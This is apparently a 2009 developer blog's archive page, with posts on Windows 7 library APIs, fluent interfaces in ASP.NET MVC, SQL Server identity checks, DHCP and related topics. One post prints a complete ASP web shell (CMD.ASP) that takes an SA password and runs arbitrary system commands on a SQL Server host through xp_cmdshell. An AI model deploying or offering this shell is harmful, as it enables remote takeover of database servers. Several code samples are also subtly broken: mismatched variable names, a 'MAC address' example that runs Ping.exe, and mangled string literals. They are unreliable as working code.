Microsoft Study Bible

September 25, 2009

Programming with libraries in Windows 7, VS2010??

Windows 7 has its share of highly visible user interface tweaks. After getting past the oohs and aahs of the spiffed-up taskbar, you’ll likely find the new look of good old Explorer the most dramatic difference. Click the Windows Explorer icon on the taskbar, or open Computer from the Start menu, and you’ll get a window that displays not only the standard expandable hard drive labels but also a new feature called Libraries. Before Windows 7 can be useful, you need to understand how it organizes your data with Libraries, the new features in Windows 7.

So, how to perform most of the management operations on a library?

As developers and programmers, how to explore the libraries in Windows7?

  In win7 OS, we can manually manage and create the libraries, and add and delete the folder. Howeverthe developers’  most concern is how to perform management operations in libraries and use libraries in applications .In order to use the libraries, Windows 7 provide the new IShellLibrary API to empower your applications to manipulate libraries.

  This can help ensure that applications remain in sync with user files and Windows since any change made to a library structure will be reflected in the application that is monitoring that library – giving us developers great power and great responsibility.

cfbc519f-ea08-41c8-b106-214cc9b894d2

On the above image ,the top layer is User Interface APIs ,which contains CFDNavigation bar Tree Controls, and so on. With User Interface APIs, we can call the new edition of CFD that support libraries to make the applications could support this new feature in libraries when our applications was opened or stored.

Here is a look at this feature in the application instance.

private void button1_Click(object sender, EventArgs e)
  
    {
  
        string strPath;
  
        // create the new edition of the common file dialog
  
        System.Windows.Forms.SaveFileDialog _fd = new System.Windows.Forms.SaveFileDialog();
          // set the properties of the Dialog

         fd.Title = “ Please select the location to save the file “;
          fd.FileName = “[ Select the folder
-]“;
  
        fd.Filter = “Library|no.files”; // set the options and only choose Library
  
        // Display the Dialog
  
        if (_fd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  
            {
  
            // Get the result the uses chose .
  
            string dir_path = System.IO.Path.GetDirectoryName(_fd.FileName);
  
            if (dir_path != null && dir_path.Length > 0)
                  {

                         strPath = dir_path;
  
                }
  
            }
  
            //use the path the users chose to do subsequent process
      }

 

  In addition to User Interface APIs, we’ll pay more attention to Shell API. With Shell API, we could perform management in libraries .In fact, we could modify the file .library-ms, and the system will read the information from the file to reorganize the data in libraries after the file is modified. This group Shell API has packed a number of .com objects. We could manipulate libraries with these objects, of which there are several ones in common usage below:

 IShellLink: this object could be a file, a folder or a link to the executable file.

IShellFolder: this object is to represent a folder object.

IShellLibrary:

Besides, Shell APIs also provide multiple auxiliary functions, which are used to manipulate the libraries .For example:

1.     Create a library and open a library that already exists.

2.     Add the folder to the library or delete a folder in library.

3.     Attain a folder list of a library.

4.     Attain or set the options of the library.

5.     Attain or set the icon of the library.

Through these Shell APIs, we can completely manipulate the library in the Operating System.

 

 

 

September 21, 2009

A brief talk of ASP.NET MVC and Fluent Interface

 To get a concise and more readable page  code, we will use a new way  in ASP .NET MVC platform。MvcContrib.FluentHtml and Spark ViewEngine has set an example to us. We will take MvcContrib.FluentHtml for an example to explore the mechanism of its realization: Fluent Interface.
In applications of MvcContrib.FluentHtml, we can see the following code everywhere.
 < %= this.TextBox(x => x.Person.Name).Title (”Enter the person’s name”).Label (”Name :”) %> …… < %= this. Select(x => x.Person.Gender).Options (Model.Genders).Size (5).Label (”Gender :”) .Title (”Select the person’s gender”) %>
The generated codes in browser are:
< LABEL id=Person_Name_Label for=Person_Name>Name:< /LABEL> < INPUT id=Person_Name title=”Enter the person’s name” value=Jeremy maxLength=50 name=Person.Name> . < SELECT id=Person_Gender title=”Select the person’s gender” size=5 name=Person.Gender>< OPTION selected value=M>Male< /OPTION>< OPTION value=F>Female< /OPTION>< /SELECT>
Above these are  the dynamically generated codes of  TextBox and Select . The  same client-side codes can be  generated  in the page  with a common way. The CS code could be like this :
Label label = new Label();
label.Text = “Name”;
TextBox textbox= new TextBox();
textbox.ToolTip =”Enter the person’s name”;
textbox.ID = “No.10001″;
textbox.ID = “Person.Name”;
We ‘ll be easily triggered by the way  FluentHtml create the page elements to use String Builder.
StringBuilder stringbuilder = new StringBuilder(); stringbuilder.Append(”Hello”).Append(” “).Append(”World!”);

Fluent Interface

Fluent Interface ,which was used to program like that , is not a new concept. In 2005, Eric Evans and Martin Fowler  have named such way with Fluent Interface. The source document can be got a fundamental understanding from the following description:
In software engineering, a fluent interface (as first coined by Eric Evans and Martin Fowler) is a way of implementing an object oriented API in a way that aims to provide for more readable code.
Then ,we can get a better understanding from the meanings the words contain.
Firstly, a fluent interface a way of implementing an object oriented API .Its  aims to provide for more readable code. Since StringBuilder is the most familiar to us , we continue to explore the programme from this clue: Open Reflector, then  find the Append method of StringBuilder  easily .
public StringBuilder Append(string value)
{ if (value != null)
{ string stringValue = this.m_StringValue;
IntPtr currentThread = Thread.InternalGetCurrentThread();
if (this.m_currentThread != currentThread)
{
stringstringValue = string.GetStringForStringBuilder(stringValue, stringValue.Capacity);
} int length = stringValue.Length;
int requiredLength = length + value.Length;
if (this.NeedsAllocation(stringValue, requiredLength))
{ string newString = this.GetNewString(stringValue, requiredLength);
newString.AppendInPlace(value, length);
this.ReplaceString(currentThread, newString);
}
else
{
stringValue.AppendInPlace(value, length);
this.ReplaceString(currentThread, stringValue);
}
} return this;
}
 When reading about  that , there are two particular points to note .1.The value the method will return is the type of StringBuilder .2.The last word :return this;.
To get a profound understanding, We show you a simple StringBuilder:
public interface IContentBuilder {
void WriteContent();
IContentBuilder Append(string partialContent);
} public class TestContentBuilder : IContentBuilder { string temp;
#region IContentBuilder Members void IContentBuilder.WriteContent() {
Console.Write(temp);
}
IContentBuilder IContentBuilder.Append(string partialContent) {
temp += partialContent;
return this;
} #endregion }
… … // IContentBuilder t = new TestContentBuilder(); t.Append(”test”).Append(”Hello”).WriteContent();
From the above applications,we can see : Fluent Interface is  frequently used to complete Object structure and properties assignment .
 Get down to business. From FluentHTML ,we know  Fluent Interface .Then, we will show you how to realize MVCContrib.FluentHTML .
Firstly ,we will talk about its inheritance through Textbox.
public class TextBox : TextInput public abstract class TextInput : Input, ISupportsMaxLength where T : TextInput public abstract class Input : FormElement where T : Input, Ielement.
Generics are a high-level abstract algorithm.INPUT will lead me to learn the assigns:

public abstract class Input : FormElement where T : Input, Element {
protected object elementValue;
protected Input(string type, string name) : base(HtmlTag.Input, name)
{
builder.MergeAttribute(HtmlAttribute.Type, type, true);
} protected Input(string type, string name, MemberExpression forMember, IEnumerable behaviors) : base(HtmlTag.Input, name, forMember, behaviors)
{
builder.MergeAttribute(HtmlAttribute.Type, type, true);
} /// /// Set the ‘value’ attribute. /// /// The value for the attribute.
public virtual T Value(object value)
{ elementValue = value;
return (T)this;
}
/// /// Set the ’size’ attribute. /// /// The value for the attribute.
public virtual T Size(int value)
{ Attr(HtmlAttribute.Size, value);
return (T)this; } protected override void PreRender() { Attr(HtmlAttribute.Value, elementValue);
base.PreRender();
}
}
Take the method Size for example, we can see it is a typical realization of the Fluent Interface: public virtual T Size(int value) { Attr(HtmlAttribute.Size, value); return (T)this; }
When you read this ,you will find that words(the expression of Lambda ) a little strange.
this.TextBox(x => x.Person.Name).Title(”Enter the person’s name”).Label(”Name:”)
 

From the code of TextBox,we do not see the support of  the Lambda expressions.
So, where is it ?Let me look at ViewDataContainerExtensions. Here is IViewDataCon.
namespace MvcContrib.FluentHtml {
/// /// Extensions to IViewDataContainer ///
public static class ViewDataContainerExtensions
{
/// /// Generate an HTML input element of type ‘text’ and set its value from ViewData based on the name provided. /// /// The view.
/// Value of the ‘name’ attribute of the element.Also used to derive the ‘id’ attribute.

public static TextBox TextBox(this IViewDataContainer view, string name)
{
return new TextBox(name).Value(view.ViewData.Eval(name));
} … … the Extension Method of tainer:Have a look at return new TextBox(name).Value(view.ViewData.Eval(name));So,here is the first step of the definition of method chain TextBOx.
The summary of FluntHtml and  Fluent Interface.
In order to get a concise and simple html element structure in VIEW, We use htmlHelper.InputHelper in ASP.NET.In the page layer,HTML is Extension Method of  htmlHelper. However, FluentHTML will be more flexible to provide .

How to Check IDENTITY column in SQL Server 2005/2000?

In SQL Server database, we often used  IDENTITY property to define the columns of self-growth when creating the table .However, how can we effectively and quickly check the column out properly configured and the use of its percentage? After reading a lot of materials or information, I find this following sentences most convenient.

EXEC dbo.CheckIdentities
GO

/* The SQL Server 2005 version of the stored procedure. It uses new catalog views */
CREATE PROC dbo.CheckIdentities
AS
BEGIN
SET NOCOUNT ON
SELECT QUOTENAME(SCHEMA_NAME(t.schema_id)) + ‘.’ +  QUOTENAME(t.name) AS TableName,
c.name AS ColumnName,
CASE c.system_type_id
WHEN 127 THEN ‘bigint’
WHEN 56 THEN ‘int’
WHEN 52 THEN ’smallint’
WHEN 48 THEN ‘tinyint’
END AS ‘DataType’,
IDENT_CURRENT(SCHEMA_NAME(t.schema_id)  + ‘.’ + t.name) AS CurrentIdentityValue,
CASE c.system_type_id
WHEN 127 THEN (IDENT_CURRENT(SCHEMA_NAME(t.schema_id)  + ‘.’ + t.name) * 100.) / 9223372036854775807
WHEN 56 THEN (IDENT_CURRENT(SCHEMA_NAME(t.schema_id)  + ‘.’ + t.name) * 100.) / 2147483647
WHEN 52 THEN (IDENT_CURRENT(SCHEMA_NAME(t.schema_id)  + ‘.’ + t.name) * 100.) / 32767
WHEN 48 THEN (IDENT_CURRENT(SCHEMA_NAME(t.schema_id)  + ‘.’ + t.name) * 100.) / 255
END AS ‘PercentageUsed’
FROM sys.columns AS c
INNER JOIN
sys.tables AS t
ON t.[object_id] = c.[object_id]
WHERE c.is_identity = 1
ORDER BY PercentageUsed DESC
END

If this stored procedure was called in SQL Server 2000 ,the following errors will appear:

Server: Msg 195, Level 15, State 10, Procedure a, Line 4
‘SCHEMA_NAME’ is not a recognized function name.

So ,in SQL Server 2000 ,those procedure should be changed:

/* The SQL Server 2000 version of the stored procedure. Uses system tables. This should work in SQL Server 7.0 too */
CREATE PROC dbo.CheckIdentities
AS
BEGIN
SET NOCOUNT ON
SELECT QUOTENAME(USER_NAME(t.uid))+ ‘.’ +  QUOTENAME(t.name) AS TableName,
c.name AS ColumnName,
CASE c.xtype
WHEN 127 THEN ‘bigint’
WHEN 56 THEN ‘int’
WHEN 52 THEN ’smallint’
WHEN 48 THEN ‘tinyint’
END AS ‘DataType’,
IDENT_CURRENT(USER_NAME(t.uid)  + ‘.’ + t.name) AS CurrentIdentityValue,
CASE c.xtype
WHEN 127 THEN (IDENT_CURRENT(USER_NAME(t.uid)  + ‘.’ + t.name) * 100.) / 9223372036854775807
WHEN 56 THEN (IDENT_CURRENT(USER_NAME(t.uid)  + ‘.’ + t.name) * 100.) / 2147483647
WHEN 52 THEN (IDENT_CURRENT(USER_NAME(t.uid)  + ‘.’ + t.name) * 100.) / 32767
WHEN 48 THEN (IDENT_CURRENT(USER_NAME(t.uid)  + ‘.’ + t.name) * 100.) / 255
END AS ‘PercentageUsed’
FROM syscolumns AS c
INNER JOIN
sysobjects AS t
ON t.id = c.id
WHERE COLUMNPROPERTY(t.id, c.name, ‘isIdentity’) = 1
AND OBJECTPROPERTY(t.id, ‘isTable’) = 1
ORDER BY PercentageUsed DESC
END
/* The SQL Server 2000 version of the stored procedure. Uses INFORMATION_SCHEMA views. */
CREATE PROC dbo.CheckIdentities
AS
BEGIN
SET NOCOUNT ON
SELECT QUOTENAME(t.TABLE_SCHEMA) + ‘.’ + QUOTENAME(t.TABLE_NAME)  AS TableName,
c.COLUMN_NAME AS ColumnName,
c.DATA_TYPE AS ‘DataType’,
IDENT_CURRENT(t.TABLE_SCHEMA  + ‘.’ + t.TABLE_NAME) AS CurrentIdentityValue,
CASE c.DATA_TYPE
WHEN ‘bigint’ THEN (IDENT_CURRENT(t.TABLE_SCHEMA  + ‘.’ + t.TABLE_NAME) * 100.) / 9223372036854775807
WHEN ‘int’ THEN (IDENT_CURRENT(t.TABLE_SCHEMA  + ‘.’ + t.TABLE_NAME) * 100.) / 2147483647
WHEN ’smallint’ THEN (IDENT_CURRENT(t.TABLE_SCHEMA  + ‘.’ + t.TABLE_NAME) * 100.) / 32767
WHEN ‘tinyint’ THEN (IDENT_CURRENT(t.TABLE_SCHEMA  + ‘.’ + t.TABLE_NAME) * 100.) / 255
END AS ‘PercentageUsed’
FROM INFORMATION_SCHEMA.COLUMNS AS c
INNER JOIN
INFORMATION_SCHEMA.TABLES AS t
ON c.TABLE_SCHEMA = t.TABLE_SCHEMA AND c.TABLE_NAME = t.TABLE_NAME
WHERE COLUMNPROPERTY(OBJECT_ID(t.TABLE_SCHEMA + ‘.’ + t.TABLE_NAME), c.COLUMN_NAME, ‘isIdentity’) = 1
AND c.DATA_TYPE IN (’bigint’, ‘int’, ’smallint’, ‘tinyint’)
AND t.TABLE_TYPE = ‘BASE TABLE’
ORDER BY PercentageUsed DESC
END

 

 

 

September 18, 2009

MVC better than J2ee ?

Filed under: Developer tools and applications — Tags: , , — Jackson @ 5:34 am

The j2ee framework should be multi-layered. We will discuss how to divide the framework could make the system more robust. If the framework was divided into three layers, how should we divide? The typical structure is similar with MVC.

 

What is MVC?

 

Model–view–controller (MVC) is an architectural pattern used in software engineering. The pattern isolates business logic from input and presentation, permitting independent development, testing and maintenance of each.An MVC application is a collection of model/view/controller triplets (a central dispatcher is often used to delegate controller actions to a view-specific controller). Each model is associated with one or more views (projections) suitable for presentation (not necessarily visual presentation). When a model changes its state, it notifies its associated views so they can refresh. The controller is responsible for initiating change requests and providing any necessary data inputs to the model.MVC is frequently and needlessly convoluted by tying it directly to a graphical user interface. That a controller is often driven indirectly from a GUI is incidental. Likewise, rendering views graphically is an application of MVC, not part of the pattern definition. A business-to-business interface can leverage an MVC architecture equally well.

 

 

 In j2ee, what is Three-tier structure, compared with MVC?

1. View layer. This layer aims to complete Data-processing, equal to View layer. This layer is primarily used for JSP.The main reason is

That JSP could be easily deployed to the users a robust and operational view.

 

2. The layer –Control. It was chiefly used to complete a logical processing of business, including the connection of the pages. Corresponding to the logic layer, this layer was primarily used in servlet/javabean/session bean.

 

3. The layer-model. This layer corresponds to the realization of technology of the Entity bean in J2ee.It was the Storage Layer in the three-layer construction.

Besides, there is another division that Control and Vies layers contain the servlet/javabean/session bean/entity bean and model does not contain entity bean. We don’t recommend this division.

Do you have better ideas???

How to Attain NIC MAC address with C# code??

Filed under: Developer tools and applications — Tags: , — Jackson @ 5:20 am

It’s known to everyone that the NIC MAC address could be gotten, when we input the command “ipconfig /all” in DOS and run it.

However, what about the detailed codes?? And how to intercept the output stream by running a dos command in C#?

The detailed codes will be shown below:

C# code

 tbResult.Text = “”;

 ProcessStartInfo start = new ProcessStartInfo(”Ping.exe”);

 start.Arguments = txtCommand.Text;// Setting Command Parameters

 start.CreateNoWindow = true;//no show DOS command prompt window

 start.RedirectStandardOutput = true;

 start.RedirectStandardInput = true;

 start.UseShellExecute = false;

 Process p=Process.Start(start);

 StreamReader reader = p.StandardOutput;//intercept the output stream

 string line = reader.ReadLine();//read one line every time

 while (!reader.EndOfStream)

 {

 tbResult.AppendText(line+” “);

 line = reader.ReadLine();

 }

 p.WaitForExit();//exit when the programs finish executing

 p.Close();//close process

 reader.Close();//close the stream

 

September 16, 2009

How to perform operations on libraries in Windows 7?

After creating the library, we’ll use Shell API to perform operations on libraries, such as to set the icon of the library, and the default path to save the library, or enumerate all of the folders in the library, and so on.

 

  #include “stdafx.h”
#include <shobjidl.h>
#include <objbase.h>
// IID_PPV_ARGS macro
#include <Knownfolders.h>
#include <Shlguid.h.>
int _tmain(int argc, _TCHAR* argv[])
{
   CoInitialize(NULL);
    
// Create the library
    //manipulate the library

    IShellLibrary *pslLibrary;
    
// load the library that already exists and manage it .
    HRESULT hr = SHLoadLibraryFromParsingName(L
“C:\\Users\\Win7\\
    AppData\\Roaming\\Microsoft\\Windows\\Libraries\\
    MyDownload.library-ms
“,
    STGM_READWRITE, IID_PPV_ARGS(&pslLibrary));
    
if(SUCCEEDED(hr))
    {
        
// To set the icon of the library

        hr = pslLibrary->SetIcon(L
“C:\\Windows\\System32\\SHELL32.dll,-14″);
        
// To set the type of the library

        hr = pslLibrary->SetFolderType(FOLDERTYPEID_GenericLibrary);
        
//traverse all folders in the library in the loop.
        IShellItemArray *psiaFolders;
        hr = pslLibrary->GetFolders(LFF_STORAGEITEMS,
        IID_PPV_ARGS(&psiaFolders));
        IEnumShellItems *penumShellItems;
        psiaFolders->EnumItems(&penumShellItems);
        DWORD dwCount =
0
;
        psiaFolders->GetCount(&dwCount);
        IShellItem *psiFolder;
      
// traverse all folders the library managed in the loop.
       for(DWORD dwIndex = 0
; dwIndex < dwCount; ++dwIndex )
            {
                
// To obtain the folder

                 psiaFolders->GetItemAt(dwIndex, &psiFolder );
                 WCHAR strFolderName[
256] = L“”;
                  LPWSTR *pName = (LPWSTR*)strFolderName;
                  
// To obtain the name of the folder.


                  hr = psiFolder->GetDisplayName(SIGDN_NORMALDISPLAY,

                 (LPWSTR*)pName);
                 if(SUCCEEDED(hr))
                 {
                
// To compare the name of the folder with the “Tools”
                 // That is ,to find the folder named “Tools”

 

                     if(wcscmp( *pName, L“Tools”) == 0)
                     {
                    
// if the “Tools ”folder could be found ,

//and the folder would be set the default folder for the library to save the file.
                   hr = pslLibrary- >SetDefaultSaveFolder(DSFT_PRIVATE, psiFolder);
                      }
                  }
              }
              
// To submit the changes to the library.
          pslLibrary->Commit();
          pslLibrary->Release();
          }
    }
        ::CoUninitialize();
    
return 0
;
}

In this code, we firstly use SHLoadLibraryFromParsingName function to load the library from its definition file and create an IShellLibrary object.

Then we could do the operation on the library with the operation functions provided by the IShellLibrary object. In the code, we modified the icon of the library by using SetIcon function, which accepted a string as a parameter and assigned the name of DLL and Icon Index.

Afterwards we modified the type of the library by using SetFolderType function ,which could accept GUID as the parameter ,which defined the types of the library ,which could be one of the following types: Generic types, picture, music, video, document and so on. When setting the type of library, we can change the Windows explorer view of the library, and enable the search and the view options specially designated for the library type. The next step is to traverse all folders in the library in the loop and find the folder named “Tools” and the folder will be set the default folder for the library to save the file. By default, when we chose a library to save the files in CFD, the system would use the first folder to save the files .However; we could re-specify the default location of the library by modifying the default folder. At last, we can call Commit function to submit the changes to the library, and that is, to write these changes to the library definition files, in order to complete the operation on the library. 

 

 

 

 

 

September 15, 2009

How to manage UAC through Domain security policy?

Filed under: Security, Windows — Tags: , , , , — Jackson @ 11:32 pm

Unify the management of the UAC control hierarchy through Domain security policy.

 In an enterprise, there is a lot of clients .

Generally speaking; a system administrator should manage at least tens of clients, even amount to hundreds of ones. Obviously, it would be a real chore without challenging, if the UAC of the clients required adjusting one by one .According to my test, the UAC can be used in conjunction with GPO (group policy object) or domain security policy, that is to say, the control level can be set in domain controller or group levels. When the clients join in the domain or the Group, this level will be inherited. So, there is no need to set the UAC control level in each of clients. To be honest, Microsoft works pretty well in this respect. Although the structure and management of Microsoft domain is complex, the function is comparatively strong. And the domain context is always necessary to make some applications of advanced features more flexible. At least, this domain context can provide a platform to manage the clients intensively.

 

virtual machines will replace dual booting ????

When your soft ware application can not performance or install on your OS( such as Windows xp Pro x64 or Windows 7 or some other new and unfamiliar operating sysem ),may you’ll consider dual booting.Of course ,this is not a bad choice.
Yes ,you can have dual operating systems,but you can’t run both at once.you must shut down everyting you are doing .Start  the slow, annoying ,painful process to reboot into the second OS.  Much more  to your  annoyance,you had to re-install all applications .Some day,you find one of two operating systems useless or you want to install a new or better functional Operating System.So,you want to remove that from your C:drive and you are afraid that it will cause nuisance to your computer or the operating system.
Maybe ,you will step back!!!

If you use the virtual machines ,maybe everything will go easy!!

For example ,your OS is Windows xp 16-bit version or 32 bit -version,you can
run the Windows XP Professional x64 Edition  into a virtual machine .So,you can run one of them you  need ,without shutting down any work you are doing.You can choose the operating system to run your application.

the favorite is running a virtual machine on your computer is essentially the same as running a full second computer.

But for more normal workloads, I find the performance quite acceptable .
But ,the VM can’t answer all things.
The Virtual machine does not support FireWire and USB 2.0 while you need to have USB support in your VM enviornment.Also,A  VM  will have an influence on your guest and host machines.Obiviously,if you guest machine are running a game ,your host machine can’t perform well.

Maybe ,both  of the VM and dual booting  have their advantages .
Maybe,We can share your better ideas.

How to create the extended stored procedure XP_CMDSHELL

The stored procedure Xp_CMDSHELL is to execute the CMD command and require the SA authority when the users logging in system, that is, once the SA command from SQL SERVER 2008 is gotten, whatever can be done in the target machine .Some known software also use this store procedure to achieve the operation of the target machine.
There is a simple ASP code below:

CMD.ASP
<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”936″%>
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd”>
<html><head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<title>SQLSERVER_XP_CMDSHELL instance _
magician</title>
<style type=”text/css”>
<!–
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
–>
</style>
</head>
<body>

<%if request(”cmd”)<>”" then%>
<table width=400  border=0 align=center cellpadding=5 cellspacing=0>
  <tr align=center>
    <td height=30  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL request the outcome</span></td>
  </tr>
  <%
dim connstr,conn,rs,i
ConnStr=”Provider=sqloledb.1;persist security info=false;server=”&request(”server”)&”;uid=sa;pwd=”&request(”pwd”)&”;database=master”
‘ConnStr=”Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master”
set conn=Server.CreateObject(”ADODB.Connection”)
conn.open Connstr
set rs=server.CreateObject(”ADODB.Recordset”)
set rs=conn.execute(”xp_cmdshell ‘”&replace(replace(request(”cmd”),”‘”,”””),chr(34),”””)&”‘”)
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write “<tr><td class=”"LBR”" bgcolor=”"#DEF3FF”">”&rs(0)&”</td></tr>”
else
response.Write “<tr><td class=”"LBR”">”&rs(0)&”</td></tr>”
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name=”form1″ method=”post” action=”">
  <table width=400  border=0 align=center cellpadding=5 cellspacing=0>
    <tr align=center>
      <td height=30 colspan=2  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL instance</span></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>Server</strong></td>
      <td width=74% class=LBR><div align=”left”>
          <input name=”Server” type=”text” id=”Server” class=”input” size=”20″ value=”<%=request(”Server”)%>”>
      </div></td>
    </tr>
    <tr align=center >
      <td   class=LB><b>SA
密码
</b></td>
      <td   class=LBR><div align=”left”><span class=N1>
          <input name=”PWD” type=”text” id=”PWD” class=”input” size=”20″ value=”<%=request(”PWD”)%>”>
      </span></div></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>CMD command</strong></td>
      <td width=74% class=LBR><div align=”left”>
          <input name=”CMD” type=”text” id=”CMD” class=”input” size=”20″ value=”<%=request(”CMD”)%>”>
      </div></td>
    </tr>
    <tr align=center >
      <td colspan=”2″   class=LBR><div align=”center”><b> </b>
              <input type=”submit” name=”Submit” value=” submit Command  ” class=”input”>
      </div></td>
    </tr>
  </table>
</form>
</body>
</html>

September 9, 2009

Will you use DHCP to allocate the IP addresses?

Recently,I want to allocate the IP addresses for the computers of my company .My friend advised me to use DHCP. I was not much familiar with DHCP. However, I followed his advice, and shared my experience here.

dhcp-relay

dhcp-relay

What is DHCP? If you know much about DHCP, maybe you can skip this.
DHCP, Short for Dynamic Host Configuration Protocol, a protocol for assigning dynamic IP addresses to devices on a network. With dynamic addressing, a device can have a different IP address every time it connects to the network. In some systems, the device’s IP address can even change while it is still connected. DHCP also supports a mix of static and dynamic IP addresses.
Dynamic addressing simplifies network administration because the software keeps track of IP addresses rather than requiring an administrator to manage the task. This means that a new computer can be added to a network without the hassle of manually assigning it a unique IP address. Many ISPs use dynamic IP addressing for dial-up users.

End stations may be assigned permanent IP addresses or they may borrow them as needed from a Dynamic Host Configuration Protocol (DHCP) server or other service.

dhcp-ipconfig on XP

dhcp-ipconfig on XP

So, it is good or bad for you to distribute IP addresses to computers on your network with DHCP.
Firstly, we discuss the advantages. (more…)

Older Posts »

Powered by WordPress

Close
E-mail It